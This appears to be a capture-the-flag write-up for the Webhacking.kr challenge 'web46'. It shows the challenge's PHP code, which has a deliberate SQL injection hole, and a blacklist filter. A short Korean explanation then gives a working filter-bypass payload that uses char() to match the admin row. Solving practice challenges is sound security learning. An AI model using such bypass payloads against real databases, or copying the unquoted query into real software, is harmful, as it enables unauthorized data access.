Post

Webhacking.kr - web46

web46

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>

Solution

1
2
3
4
5
lv에서 공백, /, *, %을 없애며, select 0x, limit, cash를 필터링함.

addslashes때문인지 콤마를 문자로 인식하는 바람에 X''도 안되고 0x도 안돼서 뭘로 할까 생각하다가 
char 함수는 콤마를 안써도 되어서 char로 해서 성공.
lv=6||(id)like(char(97,100,109,105,110,37))
This post is licensed under CC BY 4.0 by the author.